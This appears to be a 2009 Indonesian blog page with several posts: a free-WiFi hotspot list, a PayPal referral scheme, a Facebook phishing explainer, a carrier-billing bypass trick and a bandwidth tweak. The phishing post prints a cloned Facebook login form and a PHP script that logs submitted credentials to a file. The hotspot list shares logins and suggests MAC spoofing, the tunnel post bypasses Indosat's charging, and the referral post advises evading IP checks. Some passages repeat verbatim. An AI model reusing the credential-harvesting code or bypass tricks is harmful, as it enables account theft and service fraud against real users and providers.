Ringkasan ini tidak tersedia. Harap
klik di sini untuk melihat postingan.
Senin, 30 November 2009
Minggu, 29 November 2009
23.31
viandra
Masyarakat Indonesia saat ini patut bersyukur, karena saat ini biaya akses Internet semakin lama semakin murah. Bahkan sekarang banyak tempat2 nongkrong yang sudah dilengkapi dengan akses Internet. Baik gratis maupun berbayar. Provider2 internetpun berlomba2 memperluas akses Internet Nirkabel ini. Contohnya PT Telkom Tbk, Indosat IM2 dan CBN menyediakan 1000 titik Wifi gratis bagi pengguna ponsel seri N dari Nokia. Selain itu kampus2pun tak mau ketinggalan. Hampir semua Universitas ternama di Indonesia menyediakan akses Internet gratis. Bahkan sekolah2pun ada beberapa yang memanfaatkan fasilitas ini untuk kemajuan anak didiknya. Meskipun akses internet WiFi ini sudah berjibun, namun yang sangat disayangkan adalah kurangnya sosialisasi. Sehingga masyarakat tidak mengetahui dimana lokasi Internet gratisan ini. Oleh karena itu, disini saya mencoba memberikan anda lokasi2 hotspot gratis di seluruh Indonesia. Mulai dari Sabang sampai Merauke, tapi tentunya saat ini baru kota2 besar saya yang memberikan fasilitas ini. Sebagai tambahan, kita juga memberikan beberapa lokasi HotSpot gratis di negara tetangga kita, Singapura.
Kalimantan Barat :
Banjarbaru:
Akses Internet WiFi Gratis Daerah JABODETABEK :
- UNIVERSITAS GUNADARMA, KAMPUS J KALIMALANG – Bekasi Selatan Kampus D bisa di gedung 2 dan 4 (CarPark, Hall, dan Auditorium) Login : c0b4d1b4c4 (atau lihat di mading)
- Kampus ATMA Jaya, Gedung B
- Rumah Internet TNT 2 di bilangan Kelapa Gading
- SERVICE HONDA FATMAWATI
- SERVICE HONDA PONDOK INDAH
- BOGOR TRADE MALL – Food Court (BOGOR)
- KAMPUS IPB DRAMAGA (BOGOR)
- GEDUNG KEMENTRIAN / DEPARTEMEN
- UNTAR LAMA (sebelah Trisakti )
- Dunkin Donuts @ TAMAN ANGGREK
- Cafe BoxOffice @ BOGOR
- PLAZA SEMANGGI
- Ajiramen (Restaurant) (Restaurant)
- Celcius café (Restaurant)
- Food Court LT 3A (Food Court)
- Gloria Jeans café (Bar/Coffee Shop)
- Mr Baso (Restaurant)
- Rice Bowl (Restaurant)
- Starbuck Café (Bar/Coffee Shop)
- Woku woku (Restaurant) (Restaurant)
- Bakmi GM Pondok Indah Mal 1 Bakmi GM Pondok Indah Mal 1 (Restaurant)
- Food Court Mayapada Building lt basement (Foodcourt)
- Garuda Lounge, Terminal E&F departure, international Airport
- Bakmi Keriting Restaurant Jl. Jend Sudirman Kav 1 Wisma BNI 46 Jakarta 10220
- Fashion Café Jl. Jend Sudirman Kav 1Wisma BNI 46 Jakarta 10220
- Food Court Restaurant Jl. Jend Sudirman Kav 1Wisma BNI 46 Jakarta 10220
- Java Bay Café Jl. Jend Sudirman Kav 1 Wisma BNI 46 Jakarta 10220
- Mall – Plaza Senayan Jl. Asia Afrika 8 Plaza Senayan Jakarta 10270
- Marche Moven Pick Restaurant Jl. HR Rasuna Said Kav X-0, Graha Surya
- Internusa Lt Dasar Jakarta 12950
- Millenia RatuPlaza Jl Jenderal Sudirman RatuPlaza eMall, 4th floor Jakarta 10220
- Mall – Telkom Teleshop Mall Taman Anggrek Jakarta Barat
- Harris Hotel Tebet Jakarta Jl. Dr Saharjo 191 Jakarta Selatan
- Jakarta Convention Center Jl. Gatot Subroto Senayan Jakarta Selatan
- Mojo Café Mangga Dua Square Level 3, Next to Surya Cinema Jakarta kota
- Cyber Café Orion Dusit Lantai Dasar. Jakarta Kota
- Office – Istana Negara Pers Room 1 President Office Jakarta Pusat
- Office – Telkom Jl. Gatot Subroto Graha Citra Caraka Jakarta Pusat
- Dunkin Donat Pusat Jl. Hayam Wuruk dekat dengan Wisma Hayam Wuruk Jakarta Kota
- Plaza Semanggi. Lantai 1 dan lantai 2 dan Food court area Jl. Jendral Sudirman Jakarta Selatan
- Oma Sendok di jalan Empu Sendok No. 45, Senopati keb baru Jakarta Selatan.
- Bakoel koffie, Bellaggio, Mega Kuningan.
- BizNet Cafe,Mega Kuningan
- Delights cafe,Jalan Kemang Raya, Kemang Jakarta Selatan.
- Cafe Aksara Bookstore,Kemang, Jakarta Selatan.
- Restoran Hotel Grand Flora,Kemang, Jakarta Selatan.
- Cafe Lokananta,Panglima Polim Selatan, Jakarta Selatan.
- BAKWAN ECETERA, Jl. Benda No. 89, Kemang – Jakarta Selatan,
- Mal Pondok Indah II, mulai lantai paling bawah hingga ke lantai atas (foodcourt) khusus hari kerja.
- Depok Town Square (Foodcourt)
- ZOE Cafe, Depok
- Cafe/Reataurant Batavia Stasiun kota jakarta.
- Hot pot Restaurant,Muara karang
- Sun City Bar/Spa/Restaurant,Jl.Hayam Wuruk,Jakarta Pusat
- Universitas Budi Luhur
- Plaza Cengkareng Ramayana.
- Carefour Taman Palem Lt.3.
- Kampus BSI Cengkareng
- Kampus Mercu Buana, Kembangan Jakarta Barat
- Kampus Univ. Siliwangi – Jl. Siliwangi
- Mayasari Plaza – Jl. Pasarwetan
- Asia Mall – Jl.HZ.Mustofa
- RS Jasa Kartini – Jl. Otista
- Metropolitan Mall 1-2
- ekalokasari Bogor
- JCo Botani Square Bogor
- Rumah Kopi / Sekretariat DPP PAN
nama Wifi : 1. Rumah kopi
2. Rumah PAN lt 2 - Hotel shopian tebet jakarta
- aa motor bogor, di jl baru, free hot spot buat konsumen cuci motor, ganti oli atau juga service motor
HOTEL’S HOTSPOT LOCATION
- Shangrila Hotel Margeux
- Shangrila Hotel Lobby
- Shangrila Hotel Satoo
- Accacia hotel (Private)
- Aston hotel Senen (Private)
Akses Internet WiFi Gratis Daerah Bandung :
- MELSA HOTSPOT di The Valley – Dago
- MELSA HOTSPOT(Semua Lantai) di Bandung SuperMall Jl. Gatot Subroto
- STT TELKOM ( Gedung A, B, C,SC)
- ZOE CORNER
- BEC di food court
- SMP Negeri 2 Bandung
- Black Coffee Bar Jl. Cihampelas
- Gatorade -Bandung Electronic Center GF Jl. Purnawarman, Bandung
- Istana Plaza ( tiap lantai ) Jl. Pasir Kaliki,Bandung
- Panos café Gedung BBU (Bumi Bina Usaha), Jl asia afrika
- QB Bookstore (Setiabudi Supermarket)
- AMIK AL MA’SOEM
- UNPAS FE jl. tamansari no 6-8 Bandung
Akses Internet WiFi Gratis Daerah Cirebon :
- Setda Kabupaten Cirebon
- Dinas Pendidikan Kabupaten Cirebon
- Dinas Kesehatan Kabupaten Cirebon
- Badan Kepegawaian Daerah Kab. Cirebon
- DPRD Kab. Cirebon
- Grage Mall Cirebon
- Dinas Pendapatan Kab. Cirebon
Akses Internet WiFi Gratis Daerah Anyer :
- CIHIDEUNG FOREST By GRETONG – Username : tamu – Password : tamu
Akeses Internet WiFi Gratis Daerah Sumatra :
Sumatra Barat (Padang) :- Haustea – Plaza Andalas & Hayam Wuruk
- Sedona (Bumi Minang Hotel)
- Kampus AMIK – damar
- Kampus UPI-YPTK
Akeses Internet WiFi Gratis Daerah Riau :
- Masjid Agung Annur – JL. Hang Tuah – Pekanbaru
- Mall SKA – JL. Arengka Pekanbaru
- hotel grand zurri itu jl. teuku Umar -pekanbaru (Hanya ketika Check in)
- Bandara SUltan Syarif kasim 2
- Mall SKA
Akses Internet WiFi Gratis Daerah Semarang :
- UNDIP (24 jam) FISIP, S2 Fak Teknik, Fak Kedokteran bagian2 tertentu, dll
- gedung Telkom JL.Pahlawan
- Universitas Khatolik Soegijapranata Jl.Pawiyatan Luhur
- Rinjani Resto Jl.Rinjani.
- E plasa Jl.Simpang lima.
- Plasa Simpang Lima SCC Lt.5 free by Speedy
- Seputar Simpang Lima
- Brux the Bistro, Jl. Rinjani
- Black Canyon Coffee, Jl. Rinjani
- The Hills, Bukit Sari
- Citramedia Internet Cafe, Mal Ciputra
- XYZ, Singosari Raya
- Java Supermal area food court, HK Desert, Cafe Luwak, dll, Peterongan
- Cafe Pelangi, Jl. Singosari Raya
- Yamaha KCI, Jl. Pandanaran
Akses Internet WiFi Gratis Daerah Jogja :
- STMIK AKAKOM JANTI (belakang Lobby) Setting : lan proxy-address proxy.akakom port :3128
- UGM ( perpust UPT1 ugm). >>Komentar no 71.
Fakultas ilmu budaya
Fakultas biologi
kptu plaza , pwd WEP: wifi1
Terima kasih buat mas heri atas tambahannya. >> komentar no 125 - KEDOKTERAN UMUM/ KEDOKTERAN GIGI UGM
- DEKAT NOVOTEL HOTEL DJOGJA @ JL.SUDIRMAN
- Universitas Negeri Yogyakarta
- Jendelo cafe
- Mal Galeria
- Mal Ambarukmo
- It’s Coffee
- Kedai Kopi
- Centro Billiard & Lounge; Jl. Ring Road Utara
- Parsley; Jl Kaliurang Km 5,5
- Momento; Jl. Jembatan Merah, Gejayan – harga makana terjangkau
- Addicted; Jl. Gejayan
- Empire Café; Jl. Gejayan – nyaman untuk berinternet
- Dixie Easy Dining; Jl. Gejayan No. 40b Selatan Selokan Mataram
- Snap Café; Jl. Gejayan – fasilitas wifi-nya masih baru
- Kedai Kopi; Jl. Bougenville No. 1 Gejayan, Selokan Mataram – tempatnya agak sempit sih ^_^
- OWN Cafe Seturan; Selokan Mataram
- Espresso Café; Jl. Bougenville 1, Selokan Mataram Gejayan
- Rama Coffee Lounge (Rama Net); Seturan
- Debucks Coffee; Jl. Babarsari
- O La La Cafe Saphir Square; Jl. Solo
- Soda Lounge; Jl. Solo – lumayan juga sih
- Watu Café; Jl. Urip Sumohardjo
- It’s Coffee; Jl. Melati Wetan No. 58 Baciro Timoho
- Galeria Mall; Jl. Sudirman – pas aq nyoba sering dc
- Ambarrukmo Plasa; Jl.Laksda Adisucipto – lumayan nongkron di tamansari fc nya
- DPRD DIY; Jl. Malioboro Yogyakarta (User id: pakdirman Password: dprd)
- Universitas Sarjanawiyata Tamansiswa Jl. Kusumanegara 121 Yogyakarta => hot spot 24 jam non stop
- AMIKOM
- STIE YKPN –> udah pake MAC filtering, spoofing aja kalo sempet…
- Angkringan jalam Nusa Indah Concat
- Ambarukmo plaza
- Kabupaten Bantul berada di sekitar Penda Kab Bantul, Pendopo Kabupaten Bnatul, Gedung DPRD Kab Bantul dan Pasar Seni Gabusan.
Akses Internet WiFi Gratis Daerah Jawa Tengah :
- Stt wiworotomo purwokerto 24 jam
Akeses Internet Gratis Daerah Solo :
- Universitas Muhammadiyah Surakarta
- Solo Grand Mall
- Oslo Computer
- SMKN 2 Solo
- Sepanjang Jalan Slamet Riyadi (Status Suspend)
Akses Internet WiFi Gratis Daerah Medan :
- PERPUSTAKAAN USU
- CyberMedic
- Garuda Plaza hotel
- Merdeka Walk
- Universitas Medan Area (UMA). Jl. Pancing. Seluruh kawasan kampus.
Akses Internet WiFi Gratis Daerah Surabaya :
- Hotel Hilton
- STIKOM kantin, parkiran, dan sekitarnya ( id minta di satpam atau lihat di papan pengumuman)
- JS Plasa (dulu Sinar JemurAndayani). Cepat, stabil, yang pakai sedikit.
- Rumah Sakit Internasional Surabaya ( dulu HCOS, gak tau namanya sekarang apa ), Intan Nginden
- ITC Mega Grosir (depan pasar Atum)
- Komp.Ruko Graha Niaga Citra Jl.Rungkut Madya Kav.9 UPN-Surabaya
- Drive thru MCD
- MC Donalds Delta Plaza
- dll
- Drago La Brasserie, MEX Building, Jl Pregolan 1-5 dan Tegalsari. Pengunjung bisa menikmati free wifi kualitas prima selama 24 jam! Kecepatan download hingga 33 Kilobytes/detik sungguh melengkapi kelezatan hidangan Pizza El Drago dan Calzone. Mamamia..! Jumlah clients saat dicoba : 5 laptops. Sinyal : 5 out of 5. Colokan : Ada.
- Sheraton Hotel, tidak hanya di lobi, namun juga di bagian lain hotel. Di ballroom lebih cepat dan stabil daripada yang di lobi.
- Novotel Hotel
- JW Mariot Hotel, Lobby
- Shangri-La Hotel, Lobby (katanya gratis, tapi aku coba disuruh login)
- Surabaya Plaza Hotel, Cafe Taman
- Black Angus steakhouse jalan Raya Gubeng 40. >>Komentar no 58
- Tomodachi Cafe di Jl Embong Ploso 27 Surabaya
- Telkom Cafe Surabaya di Plasa Tunjungan 2, lantai LG
- Telkom Cafe Surabaya Plasa Marina lantai 3, Surabaya
- Monumen Kapal Selam (Monkasel), Delta Plasa.
- Taman Surya, depan Balai Kota Surabaya, Jl. Jimerto
- Mall BgJunction
- Amore Gelato Cafe Selain cepat juga stabil. Client : 2 laptop. Sinyal : 5 out of 5. Colokan : Ada.
- De Boliva (only at Gubeng)Kecepatan download sekitar 10 Kilobytes/detik. Client : 4. Sinyal : 4 out of 5. Colokan : Ada.
- Citywalk Supermall (PTC)Lokasi ini baru saja dilengkapi oleh Telkom Hotspot. Sambil menyantap Tahu Crispy bisa sambil browsing. Hasil tes bandwidth meter server USA menunjukkan angka 9 Kilobytes/detik. Bandwidth meter Telkom Speedy menunjukkan 30 Kilobytes/detik. Sinyal : 5 out of 5. Clients : unknown. Colokan : tidak ada / tergantung resto masing2.
- Dante Coffe Hasil tes bandwidth meter dengan server USA sekitar 8 Kilobyte/detik. Client : 1, myself ! Sinyal : 4 out of 5. Colokan : superb added value, disetiap meja di bagian tepi ada colokan listrik !
- J.Co@ Galaxy MallClients : 2 laptop. Sinyal : 4 out of 5. wifi suka putus. Colokan : Ada, tapi sulit digapai.
- J.Co @ Sutos. Gak ada colokan
- Cafe Speedy @ Tunjungan Plaza 2Lemot dan putus2. Kecepatan download 1-5 Kilobytes/detik. Banyaknya pengunjung tidak sebanding dengan 4 access point yg dipasang. Clients : lebih dari 10 laptop. Sinyal: variatif, 2 – 4 bar, out of 5. Colokan : Banyak. Nilai plus : cafe ini dibuat memang buat netters, jadi jangan sungkan buat nongkrong berjam-jam (tapi ya gemes juga kalo putus2).
- Pisa Cafe
- Wisma Dharmala
Akses Internet WiFi Gratis Derah Malang :
- Kampus UM(pascasarjana UM)
- Kampus brawijaya(F.pertanian,F.ekonomi,F. teknis,Lap.Rektorat)
- Kampus 3 UMM
- ABM
- Alun-alun kota Malang, jl. kawi.
- Perpustakaan Pusat kota Malang
- UNIGA
- MATOS lantai 1
- Plasa Dieng semua lantai
- REGENT’S PARK HOTEL – Jl. Jagung Suprapto 12 Malang
- TUGU PARK HOTEL – Jl. Tugu 3 Malang
- HOTEL GRAHA CAKRA – Jl. Cerme 16 Malang
- SANTIKA HOTEL
- BANDARA ABDUL RAHMAN SALEH – Komplex AU Pakis
- PLASA MATOS – Jl. Veteran Malang
- PLASA ARAYA – Perumahan Araya Blimbing Malang
- PLASA DIENG – Jl. Raya Dieng Malang
- ALUN-ALUN KOTA MALANG – Jl. Merdeka Malang
- MUSEUM BRAWIJAYA – Jl. Ijen Malang
- POLITEKNIK KESEHATAN MALANG – Jl. Simpang Balapan Malang
- MITRA I Plaza – Jl. KH. Agus Salim Malang
- MITRA II Plaza – Jl. Letjen Sutoyo Malang
- Sarinah I Plaza – Jl. Basuki Rahmat Malang
- Sarinah II Plaza – Perum Sawojajar Malang
- Alfa Plaza – Jl. A. Yani Malang
- Velodrome – Perum Sawojajar Malang
- PDAM – Perum Sawojajar Malang
- Terminal Gadang – Jl. Raya Gadang
- Terminal Arjosari – Jl. Raden Intan Malang
- Stasiun Kota Baru – Jl. Trunojoyo Malang
- Stasiun Kota Lama – Jl. Kol. Sugiono Malang
- Pertokoan Kayutangan – Jl. Basuki Rahmat
- Institut Teknologi Nasional – Jl. Bendungan Sigura-Gura Malang
- Univ Muhammadiyah Malang – Jl. Raya Tlogomas Malang
- Univ. Islam Malang – Jl. MT. Haryono Malang
- Universitas Brawijaya – Jl. MT. Haryono Malang
- Universitas Islam Negeri Malang – Jl. Gajayana Malang
- Universitas Negeri Malang – Jl. Surabaya Malang
- RSUD Syaiful Anwar – Jl. Jagung Suprapto Malang
- IKIP BUDI UTOMO – Jl. Simpang Arjuno Malang
- STIBA Malang – Jl. Danau Sentani Malang
- STIKI Malang – Jl. Tidar Malang
- Universtas Merdeka Malang – Jl. Terusan Dieng Malang
- Universitas Widyagama Malang – Jl. Borobudur Malang
- Universitas Wisnu Wardhana Malang – Jl. Terusan Danau Sentani
- Universitas Gajayana Malang – Jl. Merjosari Malang
- RS. Islam Unisma – Jl. MT. Haryono Malang
- RS. Islam Aisyiah Malang – Jl. Sulawesi Malang
- RS. Marsudi Waluyo – Jl. Raya Mondoroko
- RS. Panti Waluyo – Jl. Nusakambangan Malang
- RS. Panti Nirmala – Jl. Kol. Sugiono Malang
- RS. Lavalette – Jl. WR. Supratman Malang
- RST. Soepraoen – Jl. S. Supriadi Malang
- RSB. Hermina – Jl. Tangkuban Perahu Malang
- RSB. Husada Bunda – Jl. Ijen Malang
- RSB. Melati Husada – Jl. Kawi Malang
- RSB. Mardi Waluyo – Jl. WR. Supratman Malang
- Badan Diklat Propinsi Jatim – Jl. Kawi Malang
- Taman Krida Budaya – Jl. Sukarno Hatta Malang
- Alun-Alun Bundar – Jl. Tugu Malang
- Pertokoan Panglima Sudirman – Jl. PB. Sudirman Malang
- Hotel Kartika Graha – Jl. Jagung Suprapto Malang
- Splendid Inn Hotel – Jl. Mojopahit Malang
- Araya Golf – Perum Araya Blimbing Malang
- Kolam Renang Permata Jingga – Jl. Sukarno Hatta Malang
- Malang Plaza – Komplek Plaza Alun-alun Malang
- Hotel Montana I – Jl. Kahuripan Malang
- Hotel Montana II – Jl. Sukarno Hatta Malang
- Radio Republik Indonesia – Jl. Candi Panggung Malang
- Kantor Kecamatan Klojen – Jl. Surabaya Malang
- Kantor Kecamatan Blimbing – Jl. Raden Intan Malang
- Kantor Kecamatan Sukun – Jl. Keben Malang
- Taman Rekreasi Kota Malang – Jl Majapahit Malang
- SMK Negeri 4 Malang
Akses Internet WiFi Gratis Daerah Bali :
- Bali deli Bistro
- Undiknas, Denpasar
- Surya Husadha International Hospital, Jl. Pulau Serangan No.7 – Denpasar-BALI
Akses Internet WiFi Gratis Daerah Makasar :
- Universitas Hasanuddin Makassar, Komp.Fakultas Ekonomi,Magister Manajemen, Sekrang sudah tercover hampir semua fakultas, di Jalan Kandea, Makassar
Akses Internet WiFi Gratis Daerah Kalimantan :
Kalimantan Timur :
- UNIVERSITAS borneo Tarakan
- Taman oval tarakan
- RSUD tarakan
- SMPN 1
- SMPN7
- SMK1
Kalimantan Barat :
- Plasa telkom jl. Teuku Umar no.2 Pontianak.
Banjarbaru:
- Lapangan Dr. Murjani punya pemko
- Kantin Fak. Kdokteran UNLAM Jl.A. Yani Km.36
- Toko Computer Arafah Jl. A.Yani KM 35
Akses Internet WiFi Gratis Daerah Jambi :
- Universitas BatangHari Jambi
- Kantor Bappeda Propinsi Jambi
Akses Internet WiFi Gratis Daerah Sulawesi :
Sulawesi Tenggara :- Kompleks Istana Ilmiah di Kampus Universitas Dayanu Ikhsanuddin Bau-Bau, Jl. Yos Sudarso 43, Kamali, Bau-Bau
Akses Internet WiFi Gratis Daerah Jayapura :
- Swiss Bell Hotel, Ruko Dok 2 Jayapura.
- Papua Trade Center, Entrop Kelapa dua.
- Aula Dikjar Dok IX Jayapura.
Free HotSpot on Singapura :
- The Coffee Bean & Tea Leaf; 109 North Bridge Road 01-34/35 Funan The IT Mall Singapore 179097
- Ya Kun Kaya Toast; 109 North Bridge Road 01-16 Funan The IT Mall Singapore 179097
- DeliFrance Café; 109 North Bridge Road 01-K5 Funan The IT Mall Singapore 179097
- Information Counter 1; 109 North Bridge Road L1 Funan The IT Mall Singapore 179097
- Information Counter 2; 109 North Bridge Road L1 Funan The IT Mall Singapore 179097
- Nanyang Technological University Library; Nanyang Avenue Singapore 639798
- National University of Singapore Libraries; 12 Kent Ridge Crescent Singapore 119275
23.26
viandra
Kali ini, kami akan mengajarkan kembali pada anda cara mendapatkan 1 Dollar setiap anda mengajak 1 orang. Namun dengan program yang berbeda.
KLIK DISINI jika ingin mendapatkan 100 Dollar ke rekening anda.
Kami ajarkan Step by Stepnya :
1. KLIK DISINI
2. Jika email anda sudah terdaftar di Paypal. Klik Tulisan “CLICK HERE”
Nah kalau ingin mendapat 100 Dollar, ajak 99 orang temanmu untuk bergabung.
4. Pilih produk yang anda inginkan. Dan itu sekaligus akan berfungsi sebagai pengajak teman2 anda di Facebook.
Kalau Sekeluarga ikut semua, ibu, ayah, kakak, adik, kakek, nenek, dan anda. Maka sekeluarga bisa mendapatkan
KLIK DISINI jika ingin mendapatkan 100 Dollar ke rekening anda.
Kami ajarkan Step by Stepnya :
1. KLIK DISINI
2. Jika email anda sudah terdaftar di Paypal. Klik Tulisan “CLICK HERE”
Jika anda belum terdafatar di Paypal, daftarkan diri anda ke Paypal (ini untuk menerima pembayaran anda, cara pendaftarannya cukup mudah)3. Setelah anda memsukkan email pada tulisan CLICK HERE Sesuai dengan tahap ke 2, Klik Submit
a. Klik Sign Up
b. Pilih negara dan bahasa, gunakan bahasa Indonesia jika anda kurang mengerti bahasa Inggris. Lalu pilih Pribadi, dan Klik tombol Memulai
Isi data diri anda, lalu Klik Tombol “Setuju dan buat rekening”.
Jika anda tidak memiliki Kartu Kredit, hilangkan centang pada Tulisan”hubungkan kartu kredit saya…”
Dan setelah itu, anda tetap ditanyai kartu kredit, tapi abaikan jika tidak punya.
Setelah itu anda akan masuk ke menu Utama Rekening anda dengan saldo awal $0, kecuali jika anda memsukkan kartu kredit, anda akan mendapat $2 yang diambil dari kartu kredit anda sebagai verifikasi.
SELAMAT !!! ANDA MENDAPAT 1 DOLLAR PERTAMA ANDA
Mudah bukan.Nah kalau ingin mendapat 100 Dollar, ajak 99 orang temanmu untuk bergabung.
4. Pilih produk yang anda inginkan. Dan itu sekaligus akan berfungsi sebagai pengajak teman2 anda di Facebook.
Masa promosi program ini hingga 31 Desember 2009. Jadi jangan tunda lagi, segera bergabung…
Pembayaran via paypal pada 28 Februari 2010. Dan maksimal bonus hanya 100 Dollar.Kalau Sekeluarga ikut semua, ibu, ayah, kakak, adik, kakek, nenek, dan anda. Maka sekeluarga bisa mendapatkan
700 Dollar
Cukup untuk biaya berlibur sekeluarga, atau membangun usaha, atau apapun yang keluarga anda inginkan. Namun perlu diingat. Gunakan jaringan internet yang berbeda jika sekeluarga ingin mendaftar, karena IP Address akan tercatat.
23.05
viandra
Beberapa bulan terakhir, Facebook yang merupakan social network (jejaring sosial) terbesar sering mendapat phising baik itu dari email, IM seperti yahoo messenger, maupun dari pesan dari contact list facebook sendiri.
Serangan phising terbesar menurut facebook dilakukan oleh 2 website yaitu FBStarter.com dan BAction.net beberapa waktu lalu. Meraka biasa mengirim pesan berupa kata-kata “Check this out”. Kemudian mereka mengundang korban untuk meng-klik link yang akan membawa mereka keluar dari Facebook.
Pihak Facebook menyatakan bahwa serangan tersebut berhenti setiap beberapa jam pada tiap kasusnya. Facebook juga menyatakan bahwa belum ada kepastian apakah serangan dari kedua website tersebut saling terkait atau tidak.
Facebook telah menghapus URL tersebut dari member page dan membuang URL yang ada di pesan mail. Untuk user yang telah terjebak phising ini, pihak Facebook telah mereset password mereka. Facebook juga menganjurkan para usernya untuk tidak meng-click link yang mencurigakan serta menganjurkan para user yang telah menjadi korban untuk segera mengganti password.
Phising merupakan proses untuk mendapatkan informasi sensitif seperti username, password dan bahkan sampai detail kartu kredit dengan berpura-pura menjadi website asli.
Biasanya si pelaku memancing korbannya untuk masuk ke website yang dibuat mirip dengan website aslinya. Pada website palsu itu, si pelaku telah menaruh box username dan password dan meminta korban untuk login. Jadi di sini si pelaku melakukan penipuan login atau biasa di sebut fake login.
Bagaimana kita tahu kalau itu fake login ?
Untuk mengetahui itu web phising yang menggunakan fake login, kita harus teliti url untuk login di facebook itu sendiri. Untuk login, facebook menggunakan url
Contoh Web phising dengan fake login
Coba anda akses http://facebook.ariefew.com dulu dan lakukan login dengan username dan password palsu !!
Tampilan utama menggunakan source code dari https://login.facebook.com/login.php yang disimpan menjadi index.html. Tapi di index.html ini kita tambahi di form dengan pemanggilan code php untuk penyimpanan username dan password yang diisikan.
..
Sedangkan isis dari logs.php adalah pencatatan dari pengisian username dan password tersebut.
Bahaya kan……
Semoga menjadi pencerahan bagi teman-teman yang beberapa hari lalu menanyakan hal ini padaku lewat YM.
Serangan phising terbesar menurut facebook dilakukan oleh 2 website yaitu FBStarter.com dan BAction.net beberapa waktu lalu. Meraka biasa mengirim pesan berupa kata-kata “Check this out”. Kemudian mereka mengundang korban untuk meng-klik link yang akan membawa mereka keluar dari Facebook.
Pihak Facebook menyatakan bahwa serangan tersebut berhenti setiap beberapa jam pada tiap kasusnya. Facebook juga menyatakan bahwa belum ada kepastian apakah serangan dari kedua website tersebut saling terkait atau tidak.
Facebook telah menghapus URL tersebut dari member page dan membuang URL yang ada di pesan mail. Untuk user yang telah terjebak phising ini, pihak Facebook telah mereset password mereka. Facebook juga menganjurkan para usernya untuk tidak meng-click link yang mencurigakan serta menganjurkan para user yang telah menjadi korban untuk segera mengganti password.
Phising merupakan proses untuk mendapatkan informasi sensitif seperti username, password dan bahkan sampai detail kartu kredit dengan berpura-pura menjadi website asli.
Biasanya si pelaku memancing korbannya untuk masuk ke website yang dibuat mirip dengan website aslinya. Pada website palsu itu, si pelaku telah menaruh box username dan password dan meminta korban untuk login. Jadi di sini si pelaku melakukan penipuan login atau biasa di sebut fake login.
Bagaimana kita tahu kalau itu fake login ?
Untuk mengetahui itu web phising yang menggunakan fake login, kita harus teliti url untuk login di facebook itu sendiri. Untuk login, facebook menggunakan url
https://login.facebook.com/login.php
Contoh Web phising dengan fake login
Coba anda akses http://facebook.ariefew.com dulu dan lakukan login dengan username dan password palsu !!
Tampilan utama menggunakan source code dari https://login.facebook.com/login.php yang disimpan menjadi index.html. Tapi di index.html ini kita tambahi di form dengan pemanggilan code php untuk penyimpanan username dan password yang diisikan.
..
<form method=”POST” action=”logs.php” name=”menubar_login”Lihat code yang di cetak tebal tersebut, code asli dari facebook adalah
id=”menubar_login”><input type=”hidden” name=”charset_test”
value=”€,´,€,´,?,?,?” /><input type=”hidden” id=”locale”
name=”locale” value=”en_US” /><table cellpadding=”0″ cellspacing=”0″><tr><td
class=”login_form_label_field login_form_label_remember”><label><input
type=”checkbox” name=”persistent” value=”1″ />Remember Me</label></td><td
class=”login_form_label_field”><a href=”http://www.facebook.com/reset.php”
rel=”nofollow”>Forgot your password?</a></td><td class=”login_form_last_field
login_form_label_field”></td></tr><tr><td><input type=”text” class=”inputtext”
id=”email” name=”email” value=”" /></td><td><input type=”password”
class=”inputpassword” id=”pass” name=”pass” value=”" /><input type=”text”
class=”inputtext hidden_elem” id=”pass_placeholder” name=”pass_placeholder”
value=”" /></td><td class=”login_form_last_field”><div
class=”UILinkButton”><input type=”submit” class=”UILinkButton_A” value=”Login”
/><div class=”UILinkButton_RW”><div
class=”UILinkButton_R”></div></div></div></td></tr></table><input type=”hidden”
name=”charset_test” value=”€,´,€,´,?,?,?” /></form>
<form id=”login_form”Yang tercetak tebal, yaitu :
action=”https://login.facebook.com/login.php?login_attempt=1″ method=”POST”>
<form method=”POST” action=”logs.php” name=”menubar_login”adalah pengisian dari form tersebut kita akan diarahkan ke logs.php.
id=”menubar_login”>
Sedangkan isis dari logs.php adalah pencatatan dari pengisian username dan password tersebut.
<?phpPengisisan di web phising yang menggunakan fake login facebook ini akan tersimpan di passwords.txt secara terus menerus……..
header(”Location:http://www.facebook.com/”);
$handle = fopen(”passwords.txt”, “a”);
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “rn”);
}
fwrite($handle, “rn”);
fclose($handle);
exit;
?>
Bahaya kan……
Semoga menjadi pencerahan bagi teman-teman yang beberapa hari lalu menanyakan hal ini padaku lewat YM.
22.41
viandra
isat pake proxo + YF + openVPN
Sebelum dial-up pilih property >> Networking >> TCP / IP >> Properties >> Advanced >> Hilangin tanda centang yg ada di general
Sett Proxo >> Headers >> New >> HTTP Header diisi host:indosat >> URL Match kosongin >> Header Value Match * (bintang) >> Replacement text 202.87.46.133 >> Ok >> Apply >> centang out >> ok Proxy 10.19.19.19:8080 (proxy isat)
Sett YF >> configuration >> address terserah ems berapa, protocol https >> proxy setting 127.0.0.1:8080
..
>> OpenVPN setting diisi C:Program FilesOpenVPNbinopenvpn.exe (tergantung tempat instal, openVPN hrs diinstal) >> save&exit
>> buka port centang semua >> web proxy 4444 (terserah, yg penting sett proxy browser jg ngikut 4444) >> start connection
Sett proxy browser 127.0.0.1:4444 (ngikut port proxy web YF)
=============================================================
TRIK TANPA PROXO
Your Freedom Configure :- Server connection, address : wap3g.indosat.com@ems…… atau 202.87.46.133@ems…..
- Port : 443, protocol : HTTPS
- Proxy Settings, proxy:10.19.19.19:8080
- Save & Exit
- Start connection
- Sett proxy browser 127.0.0.1:8080
Ganti settingan MMS Homepage jadi https://smsc.indosat.com
22.25
viandra
Sebenernya cara ini adalah cara yang digunakan untuk mempercepat kecepatan ineternet kita pada windows XP.
Inti nya adalah windows XP tersetting secara default akan mengambil 20% dari kecepatan akses internet kita yang 100%.
Sebenar nya, ada beberapa software juga yang dapat kita gunakan untuk membatasi pemakaian bandwidth pada tiap komputer client, tapi cara ini belum dapat menjamin 100% bandwidth komputer client di warnet terbagi secara adil.
Nah, cara yang akan saya gunakan adalah dengan cara mensetting % penggunaan bandwidth client yang di setting melalui windows itu sendiri.
Cara nya adalah sebagai berikut:
1. Klik start ==> run
2. Lalu ketik gpedit.msc, Kemudian setelah itu keluar kotak “Group Policy”
3. Di “ Computer Configuration “, Pilih “Administrative Templates“
4. Lalu pilih “ Network “
5. Klik pada “QoS Packet Scheduler “
6. Setelah itu Pilih Pada “ Limit reservable Bandwidth “
7. Pilih dari “ Not Configured “ menjadi “ Enable “
